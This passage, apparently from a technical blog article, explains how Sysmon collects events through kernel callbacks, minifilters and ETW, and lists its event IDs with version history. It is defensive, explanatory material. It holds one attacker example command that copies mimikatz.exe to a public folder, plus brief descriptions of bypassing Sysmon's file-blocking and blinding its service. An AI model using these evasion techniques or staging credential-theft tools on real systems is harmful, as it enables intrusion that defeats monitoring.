The file-system filter-driver framework (`FltMgr.sys`) that hosts minifilter drivers between the I/O manager and the file-system stack. Each minifilter declares an *altitude* (a 16-bit priority) and receives notifications for pre- and post-operation hooks on file create, file write, set-information, and set-security. Both `SysmonDrv.sys` and `WdFilter.sys` are minifilters; they coexist at different altitudes without colliding [@sysmon-ms-learn].
&lt;h3&gt;Five collection mechanisms, one ETW publisher&lt;/h3&gt;
&lt;p&gt;The Microsoft Learn page for Sysmon enumerates the event IDs and describes them at the &lt;em&gt;what&lt;/em&gt; level; the &lt;em&gt;how&lt;/em&gt; (which kernel API actually produced each event) is documented partly in the API references for each callback API and partly in the source code of Sysmon&apos;s open Linux port, &lt;code&gt;microsoft/SysmonForLinux&lt;/code&gt;, which reuses Sysinternals&apos; shared C++ rule-engine for parsing the same XML schema and translating it onto eBPF instead of kernel callbacks [@github-sysmon-linux][@sysmon-ms-learn]. The Windows port is closed source, but Sysinternals&apos; design has been documented enough -- across the RSA 2014 talk, the Diversenok 2022 reverse-engineering writeup, and the SysmonForLinux source -- that the collection-mechanism inventory is unambiguous.&lt;/p&gt;
&lt;p&gt;The five mechanisms are:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mechanism&lt;/th&gt;
&lt;th&gt;API or framework&lt;/th&gt;
&lt;th&gt;Sysmon EIDs produced&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Process-lifetime callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1 (ProcessCreate), 5 (ProcessTerminate)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Image-load callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetLoadImageNotifyRoutine&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7 (ImageLoad); 6 (DriverLoad, distinguished by the &lt;code&gt;IMAGE_INFO.SystemModeImage&lt;/code&gt; flag on the kernel-mode image)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Thread-creation callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateThreadNotifyRoutineEx&lt;/code&gt; (with the &lt;code&gt;PS_CREATE_THREAD_NOTIFY_FLAG_CREATE_REMOTE&lt;/code&gt; flag in &lt;code&gt;CREATE_THREAD_NOTIFY_INFO&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;8 (CreateRemoteThread)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Object Manager callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ObRegisterCallbacks&lt;/code&gt; against &lt;code&gt;PsProcessType&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;10 (ProcessAccess)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Registry callback&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;12 (Registry Object Create/Delete), 13 (Registry Value Set), 14 (Registry Key/Value Rename)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Filter Manager minifilter&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FltRegisterFilter&lt;/code&gt; against &lt;code&gt;FltCreate&lt;/code&gt;/&lt;code&gt;FltClose&lt;/code&gt;/&lt;code&gt;FltSetInformation&lt;/code&gt; -- ordinary file system, &lt;em&gt;and&lt;/em&gt; the Named Pipe File System (NPFS, &lt;code&gt;\Device\NamedPipe&lt;/code&gt;) at a different altitude&lt;/td&gt;
&lt;td&gt;11 (FileCreate), 15 (FileCreateStreamHash), 17 (PipeEvent Created), 18 (PipeEvent Connected), 23 (FileDelete archived), 26 (FileDeleteDetected), 27 (FileBlockExecutable), 28 (FileBlockShredding), 29 (FileExecutableDetected)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The five-mechanism framing collapses thread-creation and &lt;a href=&quot;https://paragmali.com/blog/the-object-manager-namespace/&quot; rel=&quot;noopener&quot;&gt;Object Manager&lt;/a&gt; callbacks into one architectural family (&quot;process and thread observation via Microsoft-sanctioned callbacks&quot;); a stricter count is six (process-lifetime, image-load, thread-creation, object-handle, registry, minifilter). Either count is defensible; what matters is keeping the API attribution honest: &lt;code&gt;PsSetCreateThreadNotifyRoutineEx&lt;/code&gt; is the canonical remote-thread observer, &lt;code&gt;ObRegisterCallbacks(PsProcessType)&lt;/code&gt; is the canonical handle-rights filter, and NPFS minifiltering -- not &lt;code&gt;ObRegisterCallbacks&lt;/code&gt; -- is what observes named-pipe creation and connection.&lt;/p&gt;
&lt;p&gt;The sixth source -- the &lt;strong&gt;ETW consumer&lt;/strong&gt; path -- is special. For DNS queries (EID 22), Sysmon does not register a kernel callback. It subscribes as a consumer of the Microsoft-published &lt;code&gt;Microsoft-Windows-DNS-Client&lt;/code&gt; ETW provider, parses the structured DNS events, and republishes them through its own ETW provider with the Sysmon enrichments applied [@sysmon-version-history]. DNS-Client is the only event Sysmon consumes from a Microsoft-published &lt;em&gt;kernel&lt;/em&gt; ETW provider; the WmiEvent family (EIDs 19-21) is implemented in a similar consumer style against the WMI activity provider&apos;s user-mode tracing surface, which is why the §4 catalogue marks those rows as &quot;WMI ETW provider consumer.&quot; Either way, ETW consumption is the input-side exception, not the rule: five kernel-callback families do the bulk of the work, and ETW is the input only for a small, deliberately-chosen set of events.The Sysmon ETW provider has the GUID &lt;code&gt;{5770385F-C22A-43E0-BF4C-06F5698FFBD9}&lt;/code&gt;. Microsoft Learn does not enumerate this GUID on the Sysmon page; the authoritative on-host discovery command is &lt;code&gt;logman query providers Microsoft-Windows-Sysmon&lt;/code&gt;, which returns the GUID, the keywords mask, and the registered processes. Pavel Yosifovich&apos;s community ETW-provider catalogue &lt;code&gt;EtwExplorer&lt;/code&gt; mirrors the value [@etwexplorer-sysmon-guid], with the on-host &lt;code&gt;logman&lt;/code&gt; command remaining the authority of last resort.&lt;/p&gt;
&lt;h3&gt;The ProcessCreate path, step by step&lt;/h3&gt;
&lt;p&gt;The clearest way to see how the pieces fit is to trace one event. Sysmon&apos;s process-create handling is the most-quoted EID in the manifest -- it is the EID that produces Maya&apos;s row in §1 -- and it follows the canonical kernel-callback pattern that Microsoft codified in &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// Conceptual pseudocode for SysmonDrv&apos;s process-create path.
// Real Sysmon source for Windows is closed; the Linux port is open.
// This is the contract documented in the WDK reference for
// PsSetCreateProcessNotifyRoutineEx.

NTSTATUS SysmonDrvEntry(PDRIVER_OBJECT DriverObject, ...) {
    // 1. Register the create-process callback. PatchGuard tolerates this.
    PsSetCreateProcessNotifyRoutineEx(SysmonProcessCreateCb, FALSE);
    // ... other callbacks registered similarly ...
    return STATUS_SUCCESS;
}

VOID SysmonProcessCreateCb(
    HANDLE  ParentId,
    HANDLE  ProcessId,
    PPS_CREATE_NOTIFY_INFO  CreateInfo  // NULL on process exit
) {
    if (CreateInfo == NULL) {
        // Process exit: emit EID 5 (ProcessTerminate).
        SysmonEmitEventEID5(ProcessId);
        return;
    }
    // Process create. Apply the XML rule engine: does this process
    // match any &amp;lt;Include&amp;gt; rule, after evaluating &amp;lt;Exclude&amp;gt; overrides?
    if (!SysmonRuleMatch(EID_1, CreateInfo)) {
        return;  // Filtered: produce no event.
    }
    // Enrich with parent process, command line, image hash, integrity
    // level, user SID, ProcessGuid, and session identifiers, then ship
    // through the private Microsoft-Windows-Sysmon ETW publisher.
    SysmonEmitEventEID1(CreateInfo);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four properties of the path matter. First, the callback is invoked &lt;strong&gt;synchronously&lt;/strong&gt; on the thread that issued the &lt;code&gt;CreateProcessW&lt;/code&gt; call, before the new process&apos;s first instruction runs; the parent and child PIDs are both known, but the new process has not yet executed any user-mode code. Second, the callback is &lt;strong&gt;rate-limited only by your rule engine&lt;/strong&gt; -- there is no built-in throttle, and a verbose &lt;code&gt;&amp;lt;Include&amp;gt;&lt;/code&gt; rule on a high-process-turnover host can saturate the ETW session. Third, the callback runs at &lt;strong&gt;IRQL = PASSIVE_LEVEL&lt;/strong&gt;, so it can do file I/O (which the driver needs for hashing) but it must do that I/O carefully to avoid deadlock on the very file system it is monitoring. Fourth, the Sysmon service runs as a separate user-mode process; if the service has crashed or been suspended, the driver continues to emit ETW events into a session with no listener and they evaporate.&lt;/p&gt;

Sysmon&apos;s per-process unique identifier, formatted as a 128-bit GUID and recorded as the `ProcessGuid` field on every event that names a process. Unlike a Windows process ID, the ProcessGuid survives PID reuse and uniquely identifies a process across its lifetime [@sysmon-ms-learn]; SOC tooling commonly joins on `(DeviceId, ProcessGuid)` to reconstruct process trees and avoid the PID-reuse race condition that plagues raw `ProcessId` joins.
&lt;h3&gt;Where the events go&lt;/h3&gt;
&lt;p&gt;Once the user-mode &lt;code&gt;Sysmon.exe&lt;/code&gt; service has labelled the event, it does two things. First, it writes the event to the Windows event log -- specifically to &lt;code&gt;Applications and Services Logs/Microsoft/Windows/Sysmon/Operational&lt;/code&gt; per Microsoft Learn&apos;s verbatim statement: &quot;&lt;em&gt;On Vista and higher, events are stored in &lt;code&gt;Applications and Services Logs/Microsoft/Windows/Sysmon/Operational&lt;/code&gt;&lt;/em&gt;&quot; [@sysmon-ms-learn]. Second, the same event is also visible to any ETW real-time consumer subscribed to &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; -- which is how downstream collectors (Windows Event Forwarding, Splunk&apos;s universal forwarder, the Elastic Endpoint integration, Wazuh&apos;s Windows agent) actually pick the events up, rather than tailing the event log XML.&lt;/p&gt;

flowchart LR
    K1[&quot;PsSetCreateProcessNotifyRoutineEx&quot;] --&amp;gt; D[SysmonDrv.sys]
    K2[&quot;PsSetLoadImageNotifyRoutine&quot;] --&amp;gt; D
    K3[&quot;PsSetCreateThreadNotifyRoutineEx&quot;] --&amp;gt; D
    K4[&quot;ObRegisterCallbacks (PsProcessType)&quot;] --&amp;gt; D
    K5[&quot;CmRegisterCallbackEx&quot;] --&amp;gt; D
    K6[&quot;FltRegisterFilter (file system + NPFS)&quot;] --&amp;gt; D
    K7[&quot;ETW consumer: DNS-Client + WMI activity&quot;] --&amp;gt; D
    D --&amp;gt; P[&quot;ETW publisher: Microsoft-Windows-Sysmon&quot;]
    P --&amp;gt; S[Sysmon.exe service]
    S --&amp;gt; L[&quot;Applications and Services Logs / Microsoft / Windows / Sysmon / Operational&quot;]
    P --&amp;gt; R[&quot;Real-time ETW consumers (WEF, Splunk UF, Wazuh, Elastic)&quot;]
&lt;p&gt;This is the first aha moment. Sysmon is not &quot;ETW based&quot; in the way most blog posts imply. Sysmon is &lt;em&gt;a kernel driver that uses ETW as its IPC bus to user mode&lt;/em&gt;, and as a special-case consumer for one provider (DNS-Client). The reason Sysmon needed a kernel driver in the first place is that ETW alone could not see what the kernel callbacks see: ETW could not, in 2014, deliver a synchronous parent-PID-and-image-hash structure at process create time. Sysmon&apos;s driver does that work; ETW transports the result.&lt;/p&gt;
&lt;p&gt;The protected-process gate added in v15 (June 2023) closed the most-trivial blinding attack -- a SYSTEM-privilege process can no longer issue &lt;code&gt;OpenProcess(PROCESS_TERMINATE)&lt;/code&gt; against the Sysmon service to silence it. Raising the bar to a kernel-mode primitive does not eliminate the attack class, but it does change the cost model. The protected-process gate is the architectural inflection that distinguishes pre-v15 Sysmon (trivially blindable) from post-v15 Sysmon (requires a kernel primitive or a BYOVD chain) [@sysmon-ms-learn][@bleepingcomputer-sysmon15].&lt;/p&gt;
&lt;p&gt;Five collection mechanisms, one ETW publisher, one event log. That is the input side. Now the catalogue.&lt;/p&gt;
&lt;h2&gt;4. The Sysmon Event Catalogue: Twenty-Nine IDs and Their Version Gating&lt;/h2&gt;
&lt;p&gt;Run &lt;code&gt;sysmon -s&lt;/code&gt; on any v15.2 host and you get an XML schema enumerating twenty-nine event types plus EID 255 (Error). Every detection-engineering corpus in the field -- SwiftOnSecurity&apos;s config, Florian Roth&apos;s fork, Hartong&apos;s modular, the SigmaHQ rule base, the Threat Hunter Playbook -- is downstream of this single schema [@sysmon-ms-learn][@github-sigma][@github-otrf-thp]. Learn the catalogue once and the rest of the Sysmon toolchain unfolds from it.&lt;/p&gt;
&lt;p&gt;A naming disambiguation is worth doing first, because the colloquial event names the field uses (and that the topic input for this article uses verbatim) differ from the canonical Microsoft Learn names. &quot;RegistrySet&quot; is a colloquial pun on &lt;code&gt;RegistryEvent (Value Set)&lt;/code&gt;, EID 13. &quot;DnsQuery&quot; is a colloquial shorthand for &lt;code&gt;DNSEvent (DNS query)&lt;/code&gt;, EID 22. &quot;NamedPipeConnect&quot; is two events at once: &lt;code&gt;PipeEvent (Pipe Created)&lt;/code&gt;, EID 17, and &lt;code&gt;PipeEvent (Pipe Connected)&lt;/code&gt;, EID 18. The article uses the canonical Microsoft Learn names from here on.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Sysmon&apos;s manifest names some events as a family with a parenthetical operation: &lt;code&gt;RegistryEvent (Object create and delete)&lt;/code&gt; (EID 12), &lt;code&gt;RegistryEvent (Value Set)&lt;/code&gt; (EID 13), &lt;code&gt;RegistryEvent (Key and Value Rename)&lt;/code&gt; (EID 14). The same pattern applies to the pipe events: &lt;code&gt;PipeEvent (Pipe Created)&lt;/code&gt; (EID 17) and &lt;code&gt;PipeEvent (Pipe Connected)&lt;/code&gt; (EID 18). When detection-rule tooling references &quot;EID 12-14&quot; or &quot;EID 17-18&quot;, these families are what it means. The colloquial single-name forms used elsewhere in the literature are not wrong; they are just less precise. The MDE schema does not preserve the parenthetical operation suffix; it surfaces these as &lt;code&gt;ActionType&lt;/code&gt; values inside &lt;code&gt;DeviceRegistryEvents&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The twenty-nine plus one catalogue&lt;/h3&gt;
&lt;p&gt;The catalogue groups naturally by the collection mechanism that produces each event:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;EID&lt;/th&gt;
&lt;th&gt;Canonical name&lt;/th&gt;
&lt;th&gt;Collection mechanism&lt;/th&gt;
&lt;th&gt;Introduced&lt;/th&gt;
&lt;th&gt;Maps to (MDE)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;ProcessCreate&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceProcessEvents&lt;/code&gt; (&lt;code&gt;ProcessCreated&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;FileCreateTime&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt; (&lt;code&gt;FileCreated&lt;/code&gt;, partial)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;NetworkConnect&lt;/td&gt;
&lt;td&gt;Internal network-callout&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceNetworkEvents&lt;/code&gt; (&lt;code&gt;ConnectionSuccess&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;ServiceStateChange&lt;/td&gt;
&lt;td&gt;Sysmon-internal&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;ProcessTerminate&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceProcessEvents&lt;/code&gt; (&lt;code&gt;ProcessTerminated&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;DriverLoad&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetLoadImageNotifyRoutine&lt;/code&gt; (kernel-mode case via &lt;code&gt;IMAGE_INFO.SystemModeImage&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;v2.0 (2015)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceEvents&lt;/code&gt; (&lt;code&gt;DriverLoad&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;ImageLoad&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetLoadImageNotifyRoutine&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v2.0 (2015)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;CreateRemoteThread&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateThreadNotifyRoutineEx&lt;/code&gt; (with &lt;code&gt;CREATE_REMOTE&lt;/code&gt; flag)&lt;/td&gt;
&lt;td&gt;v3.0 (2016)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceEvents&lt;/code&gt; (truncated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;RawAccessRead&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Device\Harddisk*&lt;/code&gt; write filter&lt;/td&gt;
&lt;td&gt;v3.0 (2016)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;ProcessAccess&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ObRegisterCallbacks&lt;/code&gt; (PsProcessType)&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceEvents&lt;/code&gt; (GrantedAccess truncated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;FileCreate&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;RegistryEvent (Object create/delete)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceRegistryEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;RegistryEvent (Value Set)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceRegistryEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;RegistryEvent (Key/Value Rename)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceRegistryEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;FileCreateStreamHash&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;ServiceConfigurationChange&lt;/td&gt;
&lt;td&gt;Sysmon-internal&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;PipeEvent (Pipe Created)&lt;/td&gt;
&lt;td&gt;Filter Manager minifilter on NPFS (&lt;code&gt;\Device\NamedPipe&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;PipeEvent (Pipe Connected)&lt;/td&gt;
&lt;td&gt;Filter Manager minifilter on NPFS (&lt;code&gt;\Device\NamedPipe&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;WmiEvent (filter)&lt;/td&gt;
&lt;td&gt;WMI ETW provider consumer&lt;/td&gt;
&lt;td&gt;v6.10 (mid-2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;WmiEvent (consumer)&lt;/td&gt;
&lt;td&gt;WMI ETW provider consumer&lt;/td&gt;
&lt;td&gt;v6.10 (mid-2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;WmiEvent (consumer-to-filter binding)&lt;/td&gt;
&lt;td&gt;WMI ETW provider consumer&lt;/td&gt;
&lt;td&gt;v6.10 (mid-2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;DNSEvent (DNS query)&lt;/td&gt;
&lt;td&gt;ETW consumer of &lt;code&gt;Microsoft-Windows-DNS-Client&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v10.0 (Jun 2019)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceNetworkEvents&lt;/code&gt; (&lt;code&gt;DnsQuery&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;FileDelete (archive)&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v11.10 (Jun 2020)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt; (partial)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;ClipboardChange&lt;/td&gt;
&lt;td&gt;RDP and Win32 clipboard hooks&lt;/td&gt;
&lt;td&gt;v13.0 (2021; disputed)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;ProcessTampering&lt;/td&gt;
&lt;td&gt;Image-load and &lt;code&gt;WriteProcessMemory&lt;/code&gt; heuristic&lt;/td&gt;
&lt;td&gt;v13.0 (2021; disputed)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;FileDeleteDetected&lt;/td&gt;
&lt;td&gt;Filter Manager (non-archiving)&lt;/td&gt;
&lt;td&gt;v13.30 (2022)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;FileBlockExecutable&lt;/td&gt;
&lt;td&gt;Filter Manager (blocking)&lt;/td&gt;
&lt;td&gt;v14.0 (Aug 2022)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;FileBlockShredding&lt;/td&gt;
&lt;td&gt;Filter Manager (blocking)&lt;/td&gt;
&lt;td&gt;v14.10 (2022)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;FileExecutableDetected&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v15.0 (Jun 2023)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;255&lt;/td&gt;
&lt;td&gt;Error&lt;/td&gt;
&lt;td&gt;Sysmon-internal&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Sysmon Version History repository&apos;s &quot;Outdated&quot; disclaimer (&quot;&lt;em&gt;I didn&apos;t find enough time to update this repo - sorry&lt;/em&gt;&quot;) means the v12 vs v13 boundary for ClipboardChange and ProcessTampering is community-disputed. The canonical Microsoft Learn page does not enumerate version-introduction metadata per event ID. The dates in the table for EIDs 24 and 25 are best-effort community attributions and should be treated as approximate until Microsoft publishes a per-EID version history [@sysmon-version-history][@sysmon-ms-learn].&lt;/p&gt;
&lt;h3&gt;The design intent, in one sentence&lt;/h3&gt;
&lt;p&gt;The catalogue exists because Sysmon&apos;s design choice -- the one Microsoft Learn still prints today -- explicitly refuses to do detection. The publisher emits structured events; the detection logic is somebody else&apos;s problem.&lt;/p&gt;

Sysmon does not provide analysis of the events it generates, nor does it attempt to hide itself from attackers.
&lt;p&gt;This is the sentence that explains the entire SwiftOnSecurity-NextronSystems-Hartong configuration lineage [@sysmon-ms-learn]. If Sysmon refuses to do detection, somebody has to write the rules. Three somebodies did, and they wrote three different sets, and the rest of §5 is about the trade-offs between them.&lt;/p&gt;
&lt;h3&gt;What EID 27 is, and what it is not&lt;/h3&gt;
&lt;p&gt;The 2022 introduction of &lt;em&gt;FileBlockExecutable&lt;/em&gt; (EID 27) was the first preventive event in Sysmon&apos;s history. Olaf Hartong&apos;s contemporaneous writeup and Diversenok&apos;s independent reproduction both describe what the event does, and the mechanism is more subtle than &quot;the I/O is denied.&quot; The Sysmon minifilter intercepts the file-handle &lt;em&gt;close&lt;/em&gt; operation. If the rule matches and the file content carries an MZ/PE header, Sysmon logs EID 27 and marks the file for deletion via &lt;code&gt;FILE_DISPOSITION_INFORMATION&lt;/code&gt; [@diversenok-2022][@hartong-sysmon14-medium]. The attacker&apos;s &lt;code&gt;cmd /c copy mimikatz.exe C:\Users\Public\&lt;/code&gt; produces no command-line error. The copy appears to succeed. The file is then deleted at handle-close time. Hartong&apos;s writeup captures the user-visible effect verbatim: &quot;*While there is no error on the command line, the file is not written to disk*&quot; [@hartong-sysmon14-medium]. Diversenok&apos;s reverse-engineering reads: &quot;*Sysmon monitors and deletes files on closing instead of writing*&quot; [@diversenok-2022]. The closing-time semantics is the structural reason Diversenok&apos;s &lt;code&gt;Bypass #1&lt;/code&gt; (split create-close from open-write-close) works at all; the bypass is incoherent under an &lt;code&gt;Access Denied&lt;/code&gt;-at-create model and obvious under the close-time-delete model.&lt;/p&gt;
&lt;p&gt;This is a confined preventive surface, and it should not be confused with the much larger Defender exploit-protection blocking surface. &lt;a href=&quot;https://paragmali.com/blog/process-mitigation-policies-cfg-acg-cig-and-the-layer-betwee/&quot; rel=&quot;noopener&quot;&gt;Defender exploit protection mitigations&lt;/a&gt; include arbitrary-code-guard, control-flow-guard enforcement, and ASR rules -- they sit inside the Defender Antivirus and MDE stacks. EID 27&apos;s blocking is one Sysmon minifilter making a file-create decision; it is not a general-purpose application-allow-list, and it is not a substitute for &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;Windows Defender Application Control&lt;/a&gt;. Hartong&apos;s writeup is explicit about the scope -- &quot;&lt;em&gt;the FileBlockExecutable event&lt;/em&gt;&quot; -- as is Diversenok&apos;s: the introduction 